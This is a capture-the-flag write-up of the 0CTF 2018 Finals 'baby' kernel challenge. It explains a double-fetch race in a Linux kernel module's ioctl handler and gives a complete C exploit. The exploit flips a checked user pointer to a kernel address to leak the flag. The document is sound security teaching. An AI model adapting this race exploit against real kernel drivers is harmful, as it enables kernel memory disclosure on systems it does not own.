Yes, indeed. It is yet another “baby” challenge…
As its name suggests, this is a kernel PWN challenge. Only the vulnerable LKM and a QEMU startup script are provided, so the very first thing is to download a bzImage of the corresponding version, for our debugging purpose:
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ strings baby.ko | grep vermagic=
vermagic=4.15.0-22-generic SMP mod_unload
The version is 4.15.0-22-generic
.
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ apt download linux-image-4.15.0-22-generic
Get:1 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 linux-image-4.15.0-22-generic amd64 4.15.0-22.24 [7875 kB]
Fetched 7875 kB in 43s (182 kB/s)
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ ar x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ tar -xvf data.tar.xz
./
./boot/
./boot/vmlinuz-4.15.0-22-generic
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/linux-image-4.15.0-22-generic/
./usr/share/doc/linux-image-4.15.0-22-generic/changelog.Debian.gz
./usr/share/doc/linux-image-4.15.0-22-generic/copyright
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ cd boot
peilin@PWN:~/0ctf-finals-2018/baby_kernel/boot$ file vmlinuz-4.15.0-22-generic
vmlinuz-4.15.0-22-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-22-generic (buildd@lgw01-amd64-013) #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018, RO-rootFS, swap_dev 0x7, Normal VGA
boot/vmlinuz-4.15.0-22-generic
is the bzImage we want. Use extract-vmlinux to extract, well, vmlinux from it.
In short, this time we will be dealing with a kind of kernel space race condition vulnerability, known as Double-Fetch:
Figure 1: Principal Double Fetch Race Condition
The idea is rather simple. In the scenario shown above, a kernel routine fetches a piece of user data, performs some security checks on it, then fetches it again for the real use. Meanwhile, another user thread may maliciously update that piece of data in between the two fetches, effectively bypassing all the security checks.
Back to the challenge. We interact with the vulnerable driver via ioctl()
:
signed __int64 __fastcall baby_ioctl(__int64 a1, int a2) { __int64 v2; // rdx signed __int64 result; // rax int i; // [rsp-5Ch] [rbp-5Ch] __int64 v5; // [rsp-58h] [rbp-58h] _fentry__(); v5 = v2; if ( a2 == 26214 ) { printk("Your flag is at %px! But I don't think you know it's content\n", flag); result = 0LL; } else if ( a2 == 4919 && (unsigned __int8)_chk_range_not_ok( v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) ^ 1 && (unsigned __int8)_chk_range_not_ok( *(_QWORD *)v5, *(signed int *)(v5 + 8), *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) ^ 1 && *(_DWORD *)(v5 + 8) == strlen(flag) ) { for ( i = 0; i < strlen(flag); ++i ) { if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] ) return 22LL; } printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); result = 0LL; } else { result = 14LL; } return result; }
The driver hard-codes a flag in its data segment:
.data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r .data:0000000000000480 ; baby_ioctl+DB↑r ... .data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
Of course, this is just a placeholder. However, by issuing a 0x6666
ioctl()
call, we get the memory address of the real flag:
…
/ $ dmesg | tail -n 1
[ 3.550803] Your flag is at ffffffffc0346028! But I don’t think you know it’s content
Interesting. Additionally, by issuing a 0x1337
ioctl()
call, we can “guess the flag”, by sending our guess in the following format:
struct guess_t { char *flag; long len; } guess;
The driver first performs some sanity checks on our input:
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) && !_chk_range_not_ok( *(_QWORD *)v5, *(signed int *)(v5 + 8), *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952)) && *(_DWORD *)(v5 + 8) == strlen(flag) )
_chk_range_not_ok()
is defined as follows:
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int8 v3; // cf unsigned __int64 v4; // rdi bool result; // al v3 = __CFADD__(a2, a1); v4 = a2 + a1; if ( v3 ) result = 1; else result = a3 < v4; return result; }
I can’t make any sense of that + 4952
argument by looking at the code. Let’s see in GDB:
$rdx : 0x00007ffffffff000 → …
…
$rsi : 0x0000000000000010 → …
$rdi : 0x00000000006c1660 → …
Basically, the driver checks that whether:
[&guess, &guess + 0x10)
belongs to user space;[guess.flag, guess.flag + guess.len)
also belongs to user space;guess.len
equals tostrlen(flag)
, in this case,33
.
The second restriction means that we can’t simply set guess.flag
to the address of the real flag, since that would be way higher than 0x00007ffffffff000
.
If our guess
passes all three checks, the driver then compares guess.flag
against the real flag byte by byte, and prints out the real flag only if they match (which sounds pretty weird).
Here’s the plan. We first point guess.flag
to a valid user space address, so that it passes the security check on line 17~20. Then, in a different thread, we “maliciously update” guess.flag
to make it point to the real flag (which is inside kernel space) before the driver reaches line 23. In this way, we make the driver compare the real flag against itself.
Make sure your QEMU startup script contains something like -smp 2
, since our attack requires multiprocessing.
Here’s my exploit:
/* gcc exp.c -o exp -pthread -static */ #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define BUFSZ 0x100 char buf[BUFSZ+1]; int finish; char *addr; struct guess_t { char *flag; long len; } guess; void *malicious(void *t) { struct guess_t *guess = t; while (finish == 0) guess->flag = addr; } int main(void) { int fd1 = open("/dev/baby", O_RDONLY); if (fd1 < 0) { fprintf(stderr, "failed to open %s: %d\n", "/proc/baby", fd1); exit(1); } ioctl(fd1, 0x6666); system("dmesg | tail > /tmp/addr"); int fd2 = open("/tmp/addr", O_RDONLY); if (fd2 < 0) { fprintf(stderr, "failed to open %s: %d\n", "/tmp/addr", fd2); exit(1); } lseek(fd2, -BUFSZ, SEEK_END); read(fd2, buf, BUFSZ); close(fd2); char *r = strstr(buf, "Your flag is at "); if (r == NULL) { fprintf(stderr, "failed to get flag address!\n"); exit(1); } r += strlen("Your flag is at "); addr = (char *) strtoull(r, NULL, 16); fprintf(stdout, "[+] flag address: %p\n", addr); guess.flag = buf; guess.len = strlen("flag{THIS_WILL_BE_YOUR_FLAG_1234}"); pthread_t t; pthread_create(&t, NULL, malicious, &guess); for (;;) { if (ioctl(fd1, 0x1337, &guess) == 0) break; guess.flag = buf; } finish = 1; pthread_join(t, NULL); close(fd1); system("dmesg | tail -n 1"); return 0; }
References:
- Pengfei Wang et al., How Double-Fetch Situations turn into Double-Fetch Vulnerabilities: A Study of Double Fetches in the Linux Kernel. USENIX 2017.
- P4nda, 【KERNEL PWN】0ctf 2018 final baby题解